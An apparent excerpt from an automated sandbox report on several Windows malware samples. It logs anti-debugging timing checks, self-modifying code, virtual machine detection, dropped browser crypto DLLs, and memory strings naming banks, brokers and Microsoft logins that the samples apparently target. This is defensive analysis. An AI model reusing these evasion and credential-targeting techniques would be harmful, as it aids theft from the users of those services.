Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2383CB second address: 2383D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2383D4 second address: 238455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCCB1479h 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D3334h], ebx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F3EBCCB1468h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 pushad 0x00000031 mov eax, dword ptr [ebp+122D3867h] 0x00000037 movsx eax, si 0x0000003a popad 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ebp 0x00000040 call 00007F3EBCCB1468h 0x00000045 pop ebp 0x00000046 mov dword ptr [esp+04h], ebp 0x0000004a add dword ptr [esp+04h], 00000018h 0x00000052 inc ebp 0x00000053 push ebp 0x00000054 ret 0x00000055 pop ebp 0x00000056 ret 0x00000057 xchg eax, ebx 0x00000058 push eax 0x00000059 push edx 0x0000005a push edx 0x0000005b jnc 00007F3EBCCB1466h 0x00000061 pop edx 0x00000062 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 238455 second address: 23845F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3EBCB3DBDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 23845F second address: 23846B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 238EEF second address: 238F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3EBCB3DBD6h 0x0000000a popad 0x0000000b jmp 00007F3EBCB3DBE4h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 238F16 second address: 238F1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 238F1C second address: 238F22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 23B965 second address: 23B97D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1474h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 23C8BC second address: 23C8C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 23C8C0 second address: 23C934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F3EBCCB1468h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 add bx, 6634h 0x00000029 push 00000000h 0x0000002b mov dword ptr [ebp+122D2B4Bh], edi 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007F3EBCCB1468h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 0000001Dh 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d cld 0x0000004e mov edi, dword ptr [ebp+122D3320h] 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 jp 00007F3EBCCB1466h 0x0000005f rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 23C934 second address: 23C93A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 23F8F2 second address: 23F8F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 23F8F6 second address: 23F901 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2418B1 second address: 2418B7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2428FD second address: 242904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 243848 second address: 24384C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2457FF second address: 24582C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jmp 00007F3EBCB3DBE4h 0x0000000c jmp 00007F3EBCB3DBDBh 0x00000011 jnc 00007F3EBCB3DBD6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 248465 second address: 248469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 24A5FA second address: 24A600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 24B5AB second address: 24B5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 24F5EA second address: 24F5F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 24F5F0 second address: 24F5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 236AAD second address: 236AB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 239696 second address: 2396AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1474h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 23AA6A second address: 23AA6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\random.exe.7.exe	Special instruction interceptor: First address: 109FF2F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe.7.exe	Special instruction interceptor: First address: 124A72B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe.7.exe	Special instruction interceptor: First address: 124A363 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe.7.exe	Special instruction interceptor: First address: 109D632 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe.7.exe	Special instruction interceptor: First address: 125CB60 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random.exe.7.exe	Special instruction interceptor: First address: 12D6BA4 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Special instruction interceptor: First address: 8EB15 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Special instruction interceptor: First address: 8EBB7 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Special instruction interceptor: First address: 228F4F instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Special instruction interceptor: First address: 24F632 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Special instruction interceptor: First address: 2283F7 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Special instruction interceptor: First address: 2AC4D0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D6EB15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D6EBB7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F08F4F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F2F632 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F083F7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F8C4D0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Special instruction interceptor: First address: 472A55 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Special instruction interceptor: First address: 472B5D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Special instruction interceptor: First address: 64FB01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Special instruction interceptor: First address: 6B25FF instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Memory allocated: CF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Memory allocated: 2660000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Memory allocated: 47A0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\BKKFCFBKFC.exe

Code function: 14_2_04850E3E rdtsc

14_2_04850E3E

Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\random.exe.7.exe	Window / User API: threadDelayed 1251	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Window / User API: threadDelayed 1199	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Window / User API: threadDelayed 1257	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Window / User API: threadDelayed 1243	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Window / User API: threadDelayed 1170	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Window / User API: threadDelayed 1147	Jump to behavior

Source: C:\Users\user\Desktop\random.exe.7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016924001\08ec49e72a.exe	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\random.exe.7.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\random.exe.7.exe TID: 6564	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 6564	Thread sleep time: -92046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 6008	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 6008	Thread sleep time: -92046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 5908	Thread sleep time: -44000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 6536	Thread sleep count: 1251 > 30	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 6536	Thread sleep time: -2503251s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 6204	Thread sleep count: 1199 > 30	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 6204	Thread sleep time: -2399199s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 1868	Thread sleep count: 1257 > 30	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 1868	Thread sleep time: -2515257s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 528	Thread sleep count: 1243 > 30	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 528	Thread sleep time: -2487243s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 1276	Thread sleep count: 1170 > 30	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 1276	Thread sleep time: -2341170s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 5560	Thread sleep count: 1147 > 30	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe TID: 5560	Thread sleep time: -2295147s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7516	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7532	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7708	Thread sleep count: 161 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7708	Thread sleep time: -4830000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7512	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7708	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe TID: 1020	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe TID: 7448	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe TID: 2616	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe TID: 2408	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe TID: 4292	Thread sleep time: -60000s >= -30000s

Source: C:\Windows\SysWOW64\svchost.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT HypervisorPresent FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\BKKFCFBKFC.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\random.exe.7.exe

Code function: 0_2_6C4EC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C4EC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000010.00000002.2760239902.0000000000EE8000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3323025041.0000000000EE8000.00000040.00000001.01000000.0000000E.sdmp, 0ee5eba208.exe, 00000015.00000002.3213035575.00000000005FF000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\`
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: random.exe.7.exe, 00000000.00000002.2685829562.0000000000493000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2685829562.00000000004C2000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3321172986.0000000000A58000.00000004.00000020.00020000.00000000.sdmp, Cq6Id6x.exe, 00000014.00000002.3113360569.000000000180C000.00000004.00000020.00020000.00000000.sdmp, Cq6Id6x.exe, 00000014.00000002.3113644465.000000000183C000.00000004.00000020.00020000.00000000.sdmp, 183776ee1b.exe, 0000001C.00000003.3296282086.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: BKKFCFBKFC.exe, 0000000E.00000002.2722750219.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: svchost.exe, 00000016.00000003.3187895293.0000000005110000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: random.exe.7.exe, 00000000.00000002.2685829562.000000000044E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: svchost.exe, 00000016.00000003.3187895293.0000000005110000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: random.exe.7.exe, 00000000.00000003.2419756344.000000000B54B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
